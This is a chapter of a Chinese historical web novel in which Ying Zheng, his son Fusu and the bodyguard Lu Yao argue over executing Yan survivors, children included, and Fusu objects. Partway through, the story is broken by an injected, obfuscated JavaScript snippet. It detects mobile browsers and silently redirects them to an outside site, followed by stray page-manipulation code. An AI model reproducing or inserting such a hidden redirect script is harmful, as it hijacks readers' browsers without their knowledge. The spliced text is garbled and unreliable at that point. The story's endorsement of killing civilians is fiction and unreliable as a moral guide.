嬴政怒气冲冲提着两个小兔崽子回了大阳宫。
鹿尧跟着扶苏排排跪,见扶苏紧张的不行,还悄悄安慰他:“别怕,王上总不至于把咱们两个拖出去五马分尸了。”
鹿常侍到底对父王有多大的误解,好似无论他们犯了多么小或者多么大的事情,最终的结果都是被五马分尸……
扶苏不知道该说她是乐天派还是悲观派了。
【我被五马分尸不算什么,说不定还能回去,扶苏要是被分尸了……】
【虎毒尚且不食子,政哥对扶苏有那么大的厚望,应该不会这么狠吧。】
“鹿常侍,你又在随意揣测父王心意了!”扶苏想要提醒她随意揣测君王心意会被拖下去砍头,但砍头和五马分尸相比……似乎算不得什么。
扶苏无语,决定不再和鹿尧说话,老实认错。
嬴政坐在上首,心中后怕不已。
谁懂他正在同大臣商量如何处置旧韩贵族时,忽然听说鹿扶苏心悦鹿尧时心中的惊吓,刚想好要怎么劝说扶苏放弃这个不切实际的念头,又听到鹿尧为了拒绝扶苏,要把自己真实身份告诉他时,眼前的一片昏暗……
【政哥看起来很严肃的样子,是发生了什么吗?】
【难道……】
嬴政瞥目,看见鹿尧渐渐认真的模样,瞬间回想起来那天她要杀蒙嘉那日的神情。
“鹿尧。”嬴政出声打断她思绪,这里就扶苏一个外人,以鹿尧保护自己的心思,他很难不怀疑鹿尧等下提剑就把扶苏杀了。
嬴政扶额,从现在的情况来看,鹿尧把扶苏送走的概率远高于赵高矫诏逼迫扶苏自杀……
“鹿尧,韩王安要见你。”
扶苏余光瞥见了鹿尧潇洒起身离去的背影,莫名生出几分一起做坏事后,自己被朋友抛弃的感受。
“父王,儿臣是犯了什么错吗?”
想着,扶苏便问出了声,他回想被抓到大阳宫之前,自己和鹿尧也并未做什么不该做的事情。
“你为何对鹿尧的身份这般好奇?你心悦于她?”
扶苏猛地抬头:“父王,您在说什么啊!”
如此激烈反应,让嬴政松了一口气,不是情情爱爱便好。
“儿臣只是好奇鹿常侍从何而来,一身武力如何修得,儿臣见过许多武打之人,他们身上全是凶煞之气,而鹿常侍,却是……”
“父王。”扶苏突然止住话语,神情踌躇,似乎想说些什么但又犹豫着不敢说。
“或许儿臣说出来您会觉得儿臣疯了,但,鹿常侍或许不是人。”
嬴政眉心一跳:“何出此言?”
“您遇刺那日,鹿卢剑就在儿臣手中……”
牢狱。
韩王安躺在稻草堆上,思索着自己要怎么样才能活下来。
“你让我过来就是看你翘着二郎腿的滋润生活?”
韩王安被吓了一激灵,滚了一圈起身,抬头看见熟悉的身影,连忙哀嚎:“大人,您快救救我。”
“您从一开始就知道,我是被那些人强行逼上那个位置的,我一点儿反叛的念头都没有啊!”
“我不想死,我真的什么也没有干啊。”
他鼻涕一把泪一把,看着极为可怜。
可惜鹿尧对此并没有产生任何情绪,她哦了一声,转头离开。
韩王安的身份摆在这里,他活着,贵族复国的念头就不会停歇。
政哥杀他简直是理所应当的事情。
鹿尧才不会因为一个将死之人去反驳政哥,说政哥做的不对。
【对敌人仁慈,就是对自己残忍。】
从牢狱回来,再入大阳宫,鹿尧迎面收获了一位徒弟。
嬴政道:“扶苏体弱,寡人想让他同你学一学武。”
鹿尧哪儿会教人啊,面上就差写上“我不愿意”四个字了。
扶苏上前,拱手躬身,郑重道:“苏天资愚笨,望鹿常侍不弃。”
鹿尧看了眼嬴政,咬牙认了,伸手扶起扶苏。
“那你一切都要按照我的要求来,不许问为什么。”
扶苏无有不应,态度好到鹿尧都不好意思说什么了。
嬴政打断两人对话,将前线王翦来信递给了鹿尧:“王翦来信,询问寡人燕国不愿降的遗民如何处置。”
鹿尧快速翻看,看到有将士被三岁孩童刺伤,险些丢了性命,眼睛微眯。
【我保护了一路的士兵,竟然差点儿被小孩儿杀了?】
“你意下如何?”
“杀了。”鹿尧毫不犹豫回答,“不论老幼妇孺,一并杀了。”
嬴政甚为满意,他心中所想,也是如此。
“那就……”
“等等。”
两人目光齐齐落到扶苏身上。
【扶苏,答应我,你不是要来发善心的。】
“为何要杀手无缚鸡之力的人?”扶苏眉头紧蹙,无法理解父王和鹿常侍三言两语就定了燕遗民的生死。
鹿尧没有多说,将信递了出去。
看着扶苏看完信,情绪波动激烈,她心下稍安。
【还好,还好,扶苏还没有彻底被仁爱仁善洗脑,还有救……】
“三岁小儿懵懂无知,便是动手也是大人撺掇。”
【嘚,说早了。】
鹿尧面无表情看向嬴政。
【政哥,你的儿,你怎么说?】
“父王,孩童年幼无知,不记事,只要我们加以引导,用心教育,他们定会感恩,对我大秦无尽忠心。”
【嗯……】
【或许应该给扶苏多看两本不补刀而引发的惨烈后果小说。】
相较于鹿尧友善的处理结果,嬴政现在只想把扶苏按在地上揍一顿。
他方才说的是人话吗??
自己的将士都快死了,扶苏竟然还在这里为一个敌人的孩子求情?
今日若是王翦和其他士兵在此,听到扶苏说的这番话,定会心寒。
“扶苏,秦兵和燕国遗民,谁更重要?”
扶苏纠结了一瞬,可这一瞬,让嬴政不可置信的站起了身,他快步走到扶苏面前,强迫扶苏抬起头直视自己。
“告诉寡人,你在犹豫什么?”
“燕国已败,燕国的遗民也是父王您的子民。”扶苏梗着脖子,声音稍弱,但话里话外都觉得自己没错,“总归那位士兵并没有出事,何必赶尽杀绝?”
啪——
嬴政怫然大怒:“寡人看你是昏了头。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446526|185119||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扶苏抬手抚摸侧脸,瞳孔震惊,这是父王第一次对他动手。
他说错了吗?
不,他没有!
扶苏挺直脊背,张口欲言:“父……”
鹿尧手疾眼快,伸手捂住了他喋喋不休的嘴巴:“小嘴巴。”
紧接着不顾扶苏的挣扎的,准备强行将人拖下去:“王上,给我一个月时间,还你一个白切黑,黑芝麻馅儿的扶苏。”
嬴政此刻也不愿看到扶苏,挥手让他离开。
“传淳于越。”他要询问一下,淳于越到底是如何教导的扶苏!
嬴政将问题原封不动转述给淳于越听,淳于越的回答虽略显迂腐,但尚在他接受程度之内。
嬴政皮笑肉不笑:“你可知扶苏是如何回答的?”
淳于越滔滔不绝的话语止住,他自然是知道扶苏的性子,呐呐不敢言。
“寡人要的是一个继承人,一个能担当起国家重任的太子,淳于越,若是扶苏的思想无法扭正,寡人就将你的歪脖子扭正!”
嬴政气的脑瓜子嗡嗡响,险些把上了年纪的淳于越拖出去打一顿。
寡人的士兵浴血奋战,以命相搏,未来的掌权者,却在怜惜敌国百姓?
简直荒唐。
他要好好考虑一下扶苏的性格是否适合执掌大权了!
彼时偏殿。
鹿尧给扶苏讲了一个很常见的复仇流小说,三五岁的男主全家惨遭灭门,十八年后手刃仇人的故事。
“假如这个孩子就是今日你要放过的孩子,你知道了十八年之后他还会杀了你,你还会放过他吗?”
扶苏犹豫了片刻:“苏杀了他的父母,他若是不报仇,枉为人子,苏没有怨言。”
“倘若他的父母是恶人呢?”
“父母恶,不及子。”
“嗯?”鹿尧挠头,这是什么道理?
“他父母用杀人夺来的钱财将他养育长大,无论他愿不愿意,他都享受到权益,不能因为他不知道,就说他没有错。”
“可他只是一个孩子。”扶苏不解,“一个孩子又能做什么呢?”
“秦法诛恶,亦恤幼弱,若是教他明辨是非后,他还要寻苏报父母之仇,苏无话可说。”
“鹿常侍,你何必赶尽杀绝?”
鹿尧反手指自己:“我?赶尽杀绝?”
她面上透着茫然,怎么和扶苏还讲不明白了呢?
“那我换个例子。”鹿尧撸起了袖子,俨然认真了起来,“韩王安无辜,他是我亲手从韩国旧贵族手中绑出来的。”
鹿尧将自己如何将韩王安带出来的经历简单讲述了一遍。
“现在,依你所言,我将他放了回去。”
“回到颍川后,他记恨我不将他放在眼里,记恨秦人夺他国土,以一己之力联合六国,合力攻打大秦。”
“六国车轮战,秦兵总会有力不逮的一天,届时秦国被攻下,王上被杀,郑王妃被掳去军营,你的兄弟姐妹无一不被捆绑在城墙上,手起刀落,人头滚落到你的脚边,你……扶苏,就在旁边看着。”
“你看着你阿母被人糟蹋,看着秦人被当畜生都不如的奴隶,看着大秦陷入水深火热之中。”
“扶苏,这样你满意了吗?”